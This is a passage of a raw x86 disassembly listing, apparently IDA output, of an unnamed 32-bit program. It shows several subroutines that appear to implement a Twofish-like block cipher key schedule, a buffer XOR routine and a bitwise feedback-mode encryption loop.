		mov	byte ptr [ebp+var_C+1],	al
		mov	cl, [ebp+var_7]
		mov	byte ptr [ebp+var_C+2],	cl


loc_40D6F0:				; DATA XREF: .data:0041BDCCo
		mov	dl, [ebp+var_7]
		mov	byte ptr [ebp+var_C+3],	dl
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	dword_418DD4[eax*4], ecx
		mov	dl, [ebp+var_8]
		mov	byte ptr [ebp+var_C], dl
		mov	al, [ebp+var_8]
		mov	byte ptr [ebp+var_C+1],	al
		mov	cl, [ebp+var_4]
		mov	byte ptr [ebp+var_C+2],	cl
		mov	dl, byte ptr [ebp+var_14]
		mov	byte ptr [ebp+var_C+3],	dl
		mov	eax, [ebp+var_10]


loc_40D71E:				; DATA XREF: .data:0041BDFCo
		mov	ecx, [ebp+var_C]
		mov	dword_4191D4[eax*4], ecx
		mov	dl, [ebp+var_3]
		mov	byte ptr [ebp+var_C], dl
		mov	al, [ebp+var_7]
		mov	byte ptr [ebp+var_C+1],	al
		mov	cl, byte ptr [ebp+var_14+1]
		mov	byte ptr [ebp+var_C+2],	cl
		mov	dl, [ebp+var_7]
		mov	byte ptr [ebp+var_C+3],	dl
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	dword_4195D4[eax*4], ecx
		mov	dl, [ebp+var_4]
		mov	byte ptr [ebp+var_C], dl
		mov	al, byte ptr [ebp+var_14]
		mov	byte ptr [ebp+var_C+1],	al
		mov	cl, [ebp+var_8]
		mov	byte ptr [ebp+var_C+2],	cl
		mov	dl, [ebp+var_4]
		mov	byte ptr [ebp+var_C+3],	dl
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	dword_4199D4[eax*4], ecx
		jmp	loc_40D54F
; ---------------------------------------------------------------------------


loc_40D777:				; CODE XREF: sub_40D540+1Fj
					; DATA XREF: .data:0041BE3Co
		mov	dword_418DD0, 0
		mov	esp, ebp
		pop	ebp
		retn
sub_40D540	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D785	proc near		; CODE XREF: sub_40C140+102p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	short loc_40D7A9
; ---------------------------------------------------------------------------


loc_40D7A0:				; CODE XREF: sub_40D785:loc_40D880j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_40D7A9:				; CODE XREF: sub_40D785+19j
					; DATA XREF: .data:0041BE40o
		cmp	[ebp+var_8], 2
		jge	loc_40D885
		cmp	[ebp+var_8], 0
		jz	short loc_40D7C1
		mov	edx, [ebp+var_1C]


loc_40D7BC:				; DATA XREF: .data:0041BE44o
		mov	[ebp+var_24], edx
		jmp	short loc_40D7C7
; ---------------------------------------------------------------------------


loc_40D7C1:				; CODE XREF: sub_40D785+32j
		mov	eax, [ebp+var_20]
		mov	[ebp+var_24], eax


loc_40D7C7:				; CODE XREF: sub_40D785+3Aj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+var_24]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_40D7E2
; ---------------------------------------------------------------------------


loc_40D7D9:				; CODE XREF: sub_40D785+F6j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_40D7E2:				; CODE XREF: sub_40D785+52j
		cmp	[ebp+var_C], 4
		jge	loc_40D880
		mov	eax, [ebp+var_4]
		shr	eax, 18h
		mov	byte ptr [ebp+var_10], al
		mov	ecx, [ebp+var_10]
		and	ecx, 0FFh
		shl	ecx, 1
		mov	edx, [ebp+var_10]
		and	edx, 0FFh
		and	edx, 80h
		neg	edx
		sbb	edx, edx
		and	edx, 14Dh
		xor	ecx, edx
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	eax, [ebp+var_10]
		and	eax, 0FFh
		sar	eax, 1
		and	eax, 7Fh
		mov	ecx, [ebp+var_10]
		and	ecx, 0FFh
		and	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0A6h
		xor	eax, ecx
		xor	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_4]
		shl	edx, 8
		mov	eax, [ebp+var_18]
		shl	eax, 18h
		xor	edx, eax
		mov	ecx, [ebp+var_14]
		shl	ecx, 10h
		xor	edx, ecx
		mov	eax, [ebp+var_18]


loc_40D868:				; DATA XREF: sub_410CF0+A8o
		shl	eax, 8
		xor	edx, eax
		mov	ecx, [ebp+var_10]
		and	ecx, 0FFh
		xor	edx, ecx
		mov	[ebp+var_4], edx
		jmp	loc_40D7D9
; ---------------------------------------------------------------------------


loc_40D880:				; CODE XREF: sub_40D785+61j
					; DATA XREF: rdata:0040FA4Fo ...
		jmp	loc_40D7A0
; ---------------------------------------------------------------------------


loc_40D885:				; CODE XREF: sub_40D785+28j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_40D785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D88C	proc near		; CODE XREF: sub_40C140+6D4p
					; sub_40C140+794p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		imul	eax, 1010101h
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_14]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+10h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+18h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+18h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+1Ch]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+1Ch], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+20h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+20h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+24h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+24h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+28h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+28h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+2Ch]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+2Ch], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+30h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+30h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+34h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+34h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+38h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+38h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+3Ch]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+3Ch], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+40h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+40h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+44h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+44h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+48h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+48h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4Ch]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+4Ch], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+50h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+50h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+54h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+54h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+58h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+58h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+5Ch]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+5Ch], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+60h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+60h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+64h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+64h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+68h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+68h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+6Ch]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+6Ch], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+70h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+70h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+74h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+74h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+78h]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+78h], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+7Ch]
		xor	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[edx+7Ch], ecx
		mov	eax, [ebp+var_8]
		add	eax, 80h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 80h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+14h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+18h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+18h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+1Ch]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+1Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+20h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+20h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+24h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+24h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+28h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+28h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+2Ch]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+2Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+30h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+30h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+34h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+34h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+38h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+38h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+3Ch]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+3Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+40h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+40h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+44h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+44h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+48h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+48h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4Ch]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+50h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+50h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+54h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+54h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+58h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+58h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+5Ch]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+5Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+60h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+60h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+64h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+64h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+68h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+68h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+6Ch]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+6Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+70h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+70h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+74h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+74h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+78h]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+78h], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+7Ch]
		xor	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[ecx+7Ch], eax
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40D88C	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC90	proc near		; CODE XREF: rdata:0040A5E2p
					; sub_40AD10+127p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	ebx
		push	[ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	edx
		mov	ecx, [ebp+arg_8]
		call	sub_40DCAC
		pop	ebx
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_40DC90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCAC	proc near		; CODE XREF: sub_40DC90+10p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_33		= dword	ptr -33h
var_2F		= dword	ptr -2Fh
var_2B		= dword	ptr -2Bh
var_27		= dword	ptr -27h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		mov	[ebp+var_50], edx
		mov	[ebp+var_4C], ecx
		mov	byte ptr [ebp+var_20], 0FEh
		mov	byte ptr [ebp+var_20+1], 0DCh
		mov	byte ptr [ebp+var_20+2], 0BAh
		mov	byte ptr [ebp+var_20+3], 98h
		mov	byte ptr [ebp+var_1C], 76h
		mov	byte ptr [ebp+var_1C+1], 54h
		mov	byte ptr [ebp+var_1C+2], 32h
		mov	byte ptr [ebp+var_1C+3], 10h
		mov	byte ptr [ebp+var_18], 0A3h
		mov	byte ptr [ebp+var_18+1], 9Dh
		mov	byte ptr [ebp+var_18+2], 4Ah
		mov	byte ptr [ebp+var_18+3], 18h
		mov	byte ptr [ebp+var_14], 0F8h
		mov	byte ptr [ebp+var_14+1], 5Bh
		mov	byte ptr [ebp+var_14+2], 4Ah
		mov	byte ptr [ebp+var_14+3], 52h
		mov	[ebp+var_10], 0FEh
		mov	[ebp+var_F], 0DCh
		mov	[ebp+var_E], 0BAh
		mov	[ebp+var_D], 98h
		mov	[ebp+var_C], 76h
		mov	[ebp+var_B], 54h
		mov	[ebp+var_A], 32h
		mov	[ebp+var_9], 10h
		mov	[ebp+var_8], 0A3h
		mov	[ebp+var_7], 3Dh
		mov	[ebp+var_6], 4Ah
		mov	[ebp+var_5], 18h
		mov	[ebp+var_4], 0F8h
		mov	[ebp+var_3], 5Bh
		mov	[ebp+var_2], 4Ah
		mov	[ebp+var_1], 52h
		push	0
		mov	dl, 2
		lea	ecx, [ebp+var_48]
		call	sub_40DD7C
		mov	eax, [ebp+var_20]
		mov	[ebp+var_33], eax
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_2F], ecx
		mov	edx, [ebp+var_18]
		mov	[ebp+var_2B], edx
		mov	eax, [ebp+var_14]
		mov	[ebp+var_27], eax
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+arg_4]
		shl	edx, 3
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, [ebp+var_4C]
		lea	ecx, [ebp+var_48]
		call	sub_40DDFF
		mov	esp, ebp


loc_40DD78:				; DATA XREF: .text:00401CD2o
					; .text:00401CE0o
		pop	ebp

locret_40DD79:				; DATA XREF: .text:0040160Do
					; .text:0040161Ao ...
		retn	8
sub_40DCAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD7C	proc near		; CODE XREF: sub_40DCAC+93p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		cmp	eax, 1
		jz	short loc_40DDEB
		cmp	[ebp+arg_0], 0
		jz	short loc_40DDEB
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 15h
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	ecx, 80h
		call	sub_40F1D0
		test	eax, eax
		jz	short loc_40DDBD
		mov	eax, 0FFFFFFF8h
		jmp	short loc_40DDF8
; ---------------------------------------------------------------------------


loc_40DDBD:				; CODE XREF: sub_40DD7C+38j
		mov	[ebp+var_4], 0
		jmp	short loc_40DDCF
; ---------------------------------------------------------------------------


loc_40DDC6:				; CODE XREF: sub_40DD7C+6Dj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_40DDCF:				; CODE XREF: sub_40DD7C+48j
		cmp	[ebp+var_4], 4
		jge	short loc_40DDEB
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+var_8]
		mov	edx, [esi+edx*4+15h]
		mov	[ecx+eax*4+1], edx
		jmp	short loc_40DDC6
; ---------------------------------------------------------------------------


loc_40DDEB:				; CODE XREF: sub_40DD7C+18j
					; sub_40DD7C+1Ej ...
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax], cl
		mov	eax, 1


loc_40DDF8:				; CODE XREF: sub_40DD7C+3Fj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40DD7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDFF	proc near		; CODE XREF: sub_40DCAC+C5p
					; sub_40DDFF+92p

var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= byte ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0F0h
		push	esi
		push	edi
		mov	[ebp+var_F0], edx
		mov	[ebp+var_EC], ecx
		mov	eax, [ebp+var_F0]
		mov	ecx, [eax+4Dh]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_EC]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_E4], eax
		cmp	[ebp+var_E4], 3
		jnz	loc_40DFC2
		mov	ecx, [ebp+var_EC]
		mov	byte ptr [ecx],	1
		mov	[ebp+var_E0], 0
		jmp	short loc_40DE63
; ---------------------------------------------------------------------------


loc_40DE54:				; CODE XREF: sub_40DDFF:loc_40DFACj
		mov	edx, [ebp+var_E0]
		add	edx, 1
		mov	[ebp+var_E0], edx


loc_40DE63:				; CODE XREF: sub_40DDFF+53j
		mov	eax, [ebp+var_E0]
		cmp	eax, [ebp+arg_4]
		jge	loc_40DFB1
		lea	ecx, [ebp+var_24]
		push	ecx
		push	80h
		mov	edx, [ebp+var_EC]
		add	edx, 1
		push	edx
		mov	edx, [ebp+var_F0]
		mov	ecx, [ebp+var_EC]
		call	sub_40DDFF
		mov	ecx, [ebp+var_E0]
		and	ecx, 7
		mov	eax, 80h
		sar	eax, cl
		mov	byte ptr [ebp+var_C], al
		mov	eax, [ebp+var_E0]
		cdq
		and	edx, 7
		add	eax, edx
		sar	eax, 3
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx+eax]
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		and	edx, eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFh
		and	eax, 80h
		mov	ecx, [ebp+var_E0]
		and	ecx, 7
		sar	eax, cl
		xor	edx, eax
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_E0]
		cdq
		and	edx, 7
		add	eax, edx
		sar	eax, 3
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx+eax]
		mov	ecx, edx
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		not	edx
		and	ecx, edx
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		or	ecx, eax
		mov	eax, [ebp+var_E0]
		cdq
		and	edx, 7
		add	eax, edx
		sar	eax, 3
		mov	edx, [ebp+arg_8]
		mov	[edx+eax], cl
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, [ebp+var_E0]
		and	ecx, 7
		mov	edx, 7
		sub	edx, ecx
		mov	ecx, edx
		sar	eax, cl
		mov	byte ptr [ebp+var_2C], al
		mov	[ebp+var_28], 0Fh
		jmp	short loc_40DF5D
; ---------------------------------------------------------------------------


loc_40DF54:				; CODE XREF: sub_40DDFF+1ABj
		mov	eax, [ebp+var_28]
		sub	eax, 1
		mov	[ebp+var_28], eax


loc_40DF5D:				; CODE XREF: sub_40DDFF+153j
		cmp	[ebp+var_28], 0
		jl	short loc_40DFAC
		mov	ecx, [ebp+var_EC]
		add	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx+1]
		sar	edx, 7
		mov	[ebp+var_E8], dl
		mov	eax, [ebp+var_EC]
		add	eax, [ebp+var_28]
		xor	ecx, ecx
		mov	cl, [eax+1]
		shl	ecx, 1
		mov	edx, [ebp+var_2C]
		and	edx, 0FFh
		xor	ecx, edx
		mov	eax, [ebp+var_EC]
		add	eax, [ebp+var_28]
		mov	[eax+1], cl
		mov	cl, [ebp+var_E8]
		mov	byte ptr [ebp+var_2C], cl
		jmp	short loc_40DF54
; ---------------------------------------------------------------------------


loc_40DFAC:				; CODE XREF: sub_40DDFF+162j
		jmp	loc_40DE54
; ---------------------------------------------------------------------------


loc_40DFB1:				; CODE XREF: sub_40DDFF+6Dj
		mov	edx, [ebp+var_EC]
		mov	byte ptr [edx],	3
		mov	eax, [ebp+arg_4]
		jmp	loc_40F13D
; ---------------------------------------------------------------------------


loc_40DFC2:				; CODE XREF: sub_40DDFF+3Aj
		mov	eax, [ebp+var_F0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_40DFDD
		xor	dl, dl
		mov	ecx, [ebp+var_F0]
		call	sub_40F145


loc_40DFDD:				; CODE XREF: sub_40DDFF+1CFj
		mov	edx, [ebp+var_4]
		shl	edx, 1
		lea	ecx, ds:20h[edx*4]
		mov	esi, [ebp+var_F0]
		add	esi, 81h
		lea	edi, [ebp+var_DC]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		cmp	[ebp+var_E4], 2
		jnz	short loc_40E044
		mov	ecx, [ebp+var_EC]
		mov	edx, [ecx+15h]
		mov	[ebp+var_3C], edx
		mov	eax, [ebp+var_EC]
